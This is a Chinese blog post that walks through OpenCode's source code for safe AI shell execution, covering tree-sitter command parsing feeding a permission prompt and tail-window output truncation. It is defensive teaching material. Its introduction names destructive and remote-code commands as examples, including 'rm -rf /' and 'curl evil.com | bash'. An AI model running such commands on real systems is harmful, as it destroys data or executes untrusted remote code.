OpenCode 源码拆解(五):AI 跑 rm -rf 怎么办?——命令执行的安全网

基于 OpenCode(sst/opencode)真实源码,拆解命令执行的 2 个设计模式。AI 要跑 bash 命令,怎么防止它跑危险操作?10000 行的命令输出又怎么塞进上下文?

源码地址:github.com/sst/opencode · TypeScript monorepo · Effect 框架

没接触过 JavaScript/Effect? 本文会在每段 TS 代码旁边直接给出 Python 等价写法。


AI 执行命令的两个噩梦

  1. AI 可能跑危险命令 ------ rm -rf /git push --forcecurl evil.com | bash。直接执行 = 灾难。
  2. 命令输出太长 ------ npm test 跑出 10000 行,全塞进上下文直接爆炸。

OpenCode 用 2 个设计模式应对:

噩梦 模式
危险命令怎么拦 模式 1:AST 命令预分析(tree-sitter 提取命令前缀 → 交给权限系统)
输出爆上下文 模式 2:纯 tail 滑动窗口(流式保留尾部 + 超限落盘)

先说一个重要事实: OpenCode 没有 内置"危险命令黑名单"。它不会硬编码拦截 rm -rf /。真正的权限控制是第四章讲的 permission 系统------AST 解析的作用不是"拦截",而是从 AI 可能变形的命令里准确提取命令名和前缀,让权限系统能精准询问用户。


模式 1:AST 命令预分析(tree-sitter 提取命令前缀)

源码位置: packages/opencode/src/tool/shell.ts

为什么需要解析命令结构

AI 生成的命令千奇百怪:rm -rf /tmprm --recursive --force ~rm -r ~/test。如果只做字符串匹配,AI 换个参数顺序或长格式写法就绕过了。你需要理解命令的语法结构,而不是表面文本。

OpenCode 用 tree-sitter(GitHub 维护的开源增量解析器,Neovim 语法高亮、GitHub 代码搜索都用它)把 bash 命令解析成 AST,提取出命令名、参数、管道、重定向。

加载 tree-sitter 的 wasm 解析器

dart 复制代码
// packages/opencode/src/tool/shell.ts · 第 311-336 行
const parser = lazy(async () => {
  const { Parser } = await import("web-tree-sitter")
  const { default: bashWasm } = await import(
    "tree-sitter-bash/tree-sitter-bash.wasm" as string,
    { with: { type: "wasm" } }
  )
  const { default: psWasm } = await import(
    "tree-sitter-powershell/tree-sitter-powershell.wasm" as string,
    { with: { type: "wasm" } }
  )
  const [bashLanguage, psLanguage] = await Promise.all([
    Language.load(bashWasm),
    Language.load(psWasm),
  ])
  const bash = new Parser()
  bash.setLanguage(bashLanguage)
  const ps = new Parser()
  ps.setLanguage(psLanguage)
  return { bash, ps }
})

翻译:

python 复制代码
# Python 等价(使用 tree-sitter 的 Python 绑定)
from tree_sitter import Language, Parser
import tree_sitter_bash as tsbash
​
def load_parser():
 bash_lang = Language(tsbash.language())
 bash_parser = Parser(bash_lang)
 return bash_parser
​
def parse_command(cmd_str: str):
 tree = bash_parser.parse(cmd_str.encode("utf-8"))
 return tree.root_node  # 返回一个 AST 节点树

lazy(...) 是 Effect 框架的延迟求值包装器------wasm 解析器只在第一次执行 bash 工具时加载一次,后续复用。Python 里可以用 @functools.lru_cache 或模块级单例实现同样效果。

解析入口 + 命令名提取

dart 复制代码
// packages/opencode/src/tool/shell.ts · 第 257-261 行(解析入口)
const node = parser.parse(text).rootNode
// 用 acquireRelease 保证 tree.delete() 被调用,避免 wasm 内存泄漏
const result = yield* Effect.acquireRelease(
  Effect.sync(() => commands(node)),
  (tree) => Effect.sync(() => tree?.delete()),
)
csharp 复制代码
// packages/opencode/src/tool/shell.ts · 第 91-125 行(提取命令名 + 参数)
function commands(node: Node) {
  return node
    .descendantsOfType("command")
    .filter((child): child is Node => Boolean(child))
}
​
function parts(node: Node) {
  const out: { type: string; text: string }[] = []
  for (let i = 0; i < node.childCount; i++) {
    const child = node.child(i)
    if (child?.type === "command_elements") {
      for (let j = 0; j < child.childCount; j++) {
        const item = child.child(j)
        // 重定向节点跳过,不计入参数
        if (!item || item.type === "command_argument_sep" || item.type === "redirection") continue
        out.push({ type: item.type, text: item.text })
      }
      continue
    }
    // 只保留命令名、参数词、字符串等节点
    if (child?.type !== "command_name" && child?.type !== "word" &&
        child?.type !== "string" && child?.type !== "raw_string") continue
    out.push({ type: child.type, text: child.text })
  }
  return out
}

翻译:

python 复制代码
# Python 等价
def commands(node):
 """找出 AST 里所有的 command 节点"""
 return [c for c in node.children if c.type == "command"]
​
def parts(node):
 """提取一个命令节点的命令名和参数"""
 out = []
 for child in node.children:
     if child.type == "command_elements":
         for item in child.children:
             # 跳过分隔符和重定向
             if item.type in ("command_argument_sep", "redirection"):
                 continue
             out.append({"type": item.type, "text": item.text})
         continue
     if child.type not in ("command_name", "word", "string", "raw_string"):
         continue
     out.append({"type": child.type, "text": child.text})
 return out
TS 写法 含义
node.descendantsOfType("command") 找出所有类型为 command 的后代节点。Python 里遍历树手动筛选
node.child(i) 取第 i 个子节点。Python 的 node.children[i]
child.type / child.text 节点类型(如 "command_name")/ 节点文本。Python 的 node.type / node.text

解析后做什么:交给权限系统

提取出命令名和参数后,OpenCode 不自己做危险判断,而是生成"命令前缀"交给第四章讲的 permission 系统询问用户:

scss 复制代码
// packages/opencode/src/tool/shell.ts · 第 263-291 行(权限预分析)
const tokens = parts(source(node)).map((p) => p.text)
if (tokens.length && (!cmd || !CWD.has(cmd))) {
  scan.patterns.add(source(node))                          // 完整命令文本
  scan.always.add(BashArity.prefix(tokens).join(" ") + " *") // 命令前缀,如 "rm *"
}
// ... 最后交给权限系统
yield* ctx.ask({
  permission: ShellID.ToolID,
  patterns: Array.from(scan.patterns),
  always: Array.from(scan.always),
})

BashArity.prefixpackages/opencode/src/permission/arity.ts 第 1-9 行)按 ARITY 表把命令名映射成授权粒度:git 取 2 段(git commit)、npm run 取 3 段(npm run build)、rm 取 1 段(rm)。这意味着用户批准一次 rm 后,后续所有 rm 命令都自动通过------而不是每次都问。

翻译成一句话: 命令解析的结果不是"拦截",而是"识别 "------从可能变形的命令里稳定提取出 rm 这个动作,让权限系统能按 rm 这个粒度问用户"要不要允许",而不是按整条字符串。

为什么不用正则匹配

方式 rm -rf / rm --recursive --force ~ rm -r ~/test
正则 rm -rf 识别 漏掉 漏掉
tree-sitter AST 识别 识别 识别

AI 可以轻松绕过正则------用长格式 --recursive 代替 -r、改变参数顺序、用变量替换路径。AST 解析不受这些影响,因为它理解语法结构而不是表面文本。

补充: OpenCode 的精简版(packages/core/src/tool/bash.ts)确实用正则分词,源码里还留着 TODO:// TODO: Port tree-sitter bash / PowerShell parser-based approval reduction. 完整版选择 tree-sitter 正是为了更精准地提取命令前缀。


模式 2:纯 tail 滑动窗口(流式保留 + 超限落盘)

源码位置: packages/opencode/src/tool/shell.ts · packages/opencode/src/util/truncate.ts

痛点

AI 跑 npm test 输出 10000 行。全塞进上下文 → 直接爆炸。但只给最尾部也不行------开头的环境信息、测试框架初始化日志里可能有线索。

OpenCode 的做法:流式保留尾部窗口 ,超出后完整输出落盘到文件,对话里只留截断提示 + 文件路径。

模型可见输出是纯 tail 滑动窗口

arduino 复制代码
// packages/opencode/src/tool/shell.ts · 第 491-496 行(流式滑动窗口)
const keep = limits.maxBytes * 2   // 保留窗口 = 最大字节数 × 2
// 命令流式输出时,最旧的 chunk 不断被丢弃
while (used > keep && list.length > 1) {
  const item = list.shift()        // 移除最旧的 chunk
  if (!item) break
  used -= item.size
  cut = true                        // 标记"已截断"
}

翻译:

ini 复制代码
# Python 等价
keep = max_bytes * 2
while used > keep and len(chunks) > 1:
 oldest = chunks.pop(0)   # 移除最旧的 chunk
 used -= oldest.size
 cut = True
TS 写法 含义
list.shift() 移除数组第一个元素并返回它。Python 的 list.pop(0)
limits.maxBytes 字节上限常量。真实值在 truncate.ts 定义

真实的常量(packages/opencode/src/util/truncate.ts 第 15-16 行):

arduino 复制代码
// packages/opencode/src/util/truncate.ts · 第 15-16 行
const MAX_LINES = 2000          // 最多保留 2000 行
const MAX_BYTES = 50 * 1024     // 最多保留 50 KB

超限落盘,而不是丢数据

当输出超过窗口,OpenCode 不丢弃 中间内容,而是写进一个临时文件,7 天后自动清理(truncate.ts 第 13 行):

lua 复制代码
// packages/opencode/src/tool/shell.ts · 第 569 行(收尾处理)
const end = tail(raw, limits.maxLines, limits.maxBytes)
if (!file && end.cut) file = yield* trunc.write(raw)  // 超限 → 落盘
// 对话里返回的提示
if (cut && file) {
  output = `...output truncated...\n\nFull output saved to: ${file}\n\n` + output
}

tail() 函数从末行倒序累加,并做 UTF-8 续字节对齐(避免截断在多字节字符中间):

typescript 复制代码
// packages/opencode/src/tool/shell.ts · 第 225-255 行
function tail(text: string, maxLines: number, maxBytes: number) {
  const buf = Buffer.from(text)
  let start = buf.length
  let lines = 0
  while (start > 0 && lines < maxLines) {
    const nl = buf.lastIndexOf(0x0a, start - 1)  // 找上一个换行符
    if (nl === -1) break
    start = nl + 1
    lines++
    if (buf.length - start <= maxBytes) break
  }
  // UTF-8 续字节对齐:如果停在多字节字符中间,往前挪
  while (start < buf.length && (buf[start] & 0xc0) === 0x80) start++
  return { text: buf.slice(start).toString(), cut: start > 0 }
}

翻译:

python 复制代码
# Python 等价
def tail(text: str, max_lines: int, max_bytes: int) -> tuple[str, bool]:
 lines = text.split("\n")
 kept = []
 cut = False
 # 从尾部倒着取,直到超行数或超字节
 for line in reversed(lines):
     kept.insert(0, line)
     if len(kept) >= max_lines:
         cut = True
         break
     if sum(len(l) + 1 for l in kept) > max_bytes:
         cut = True
         break
 return "\n".join(kept), cut

Python 的 str 天然按 Unicode 字符处理,不像 Buffer 按字节,所以不需要手动做 UTF-8 续字节对齐------这是 TS 处理字节流时特有的坑。

UI 预览也是纯 tail

注意:30000 这个数字是存在的,但只用于 UI 侧边栏的 metadata 预览,不是模型可见输出:

arduino 复制代码
// packages/opencode/src/tool/shell.ts · 第 27 行
const MAX_METADATA_LENGTH = 30_000

// packages/opencode/src/tool/shell.ts · 第 220-223 行(UI 预览)
function preview(text: string) {
  if (text.length <= MAX_METADATA_LENGTH) return text
  return "...\n\n" + text.slice(-MAX_METADATA_LENGTH)  // 纯 tail
}

两个模式怎么组合工作

当 AI 调用 bash 工具执行一条命令时:

c 复制代码
AI 调用 bash 工具: "npm test 2>&1"
│
├─ 1. AST 预分析(模式 1)
│     ├─ tree-sitter 解析命令结构
│     │    └─ 提取命令名 "npm" + 参数 ["test"]
│     ├─ BashArity.prefix → 生成授权粒度 "npm run *"
│     └─ 交给 permission 系统询问用户(第四章模式 3)
│            ├─ 已批准? → 通过
│            └─ 未批准? → 问用户,批准后可复用
│
├─ 2. 执行命令
│     └─ 子进程运行,流式捕获 stdout + stderr
│
├─ 3. 纯 tail 滑动窗口(模式 2)
│     ├─ 流式保留尾部窗口(maxBytes × 2)
│     ├─ 超窗口? → 完整输出落盘到临时文件
│     └─ 对话里返回:截断提示 + 文件路径
│
└─ 4. 返回给 AI
      AI 看到尾部输出 + 文件路径 → 理解测试结果 → 决定下一步

小结

模式 解决的问题 核心机制 你熟悉的概念
AST 命令预分析 从变形命令里精准提取命令名 tree-sitter 解析 bash AST + BashArity 前缀 → 权限系统 SQL 参数化查询 vs 字符串拼接
纯 tail 滑动窗口 命令输出爆上下文 流式保留尾部窗口 + 超限落盘 + UI 纯 tail 预览 日志 tail -n + 临时文件

这两个模式共同回答一个问题:怎么让 AI 安全地执行命令------认得出它在做什么、装得下它产出的海量输出。


相关推荐
5pat54OfCg1 小时前
OpenCode 源码拆解(六):系统怎么不崩?——韧性的 3 个设计模式
agent·源码阅读
用户847181054192 小时前
langchain.js中stream()的单模式 vs 多模式梳理
agent
阿里云云原生5 小时前
告别功能堆叠,迎接“对话即服务”:FinXScope AI 原生六层架构设计详解
agent
昵称好难啊7 小时前
ClaudeCode: 怎么规划任务
llm·agent
京东云开发者7 小时前
ICML 2026|NaviAgent:面向 Oxygen 智能体的可扩展工具编排
agent·ai编程
玉鸯7 小时前
让 Agent 面向用户:AG-UI 协议构建 Agent 前端
前端·python·agent
文心快码BaiduComate7 小时前
不限额度!「文心快码测试版」限免体验来了
agent·ai编程·文心快码
人生百态,人生如梦7 小时前
每日论文解读 (8.3) 1——DeepResearch Agent System:稀疏激活架构驱动的自主深度研究Agent
架构·llm·agent·deepresearch
牧艺8 小时前
别让 Agent 猜需求:前端用「一页 Spec」把返工砍掉一半
人工智能·agent·vibecoding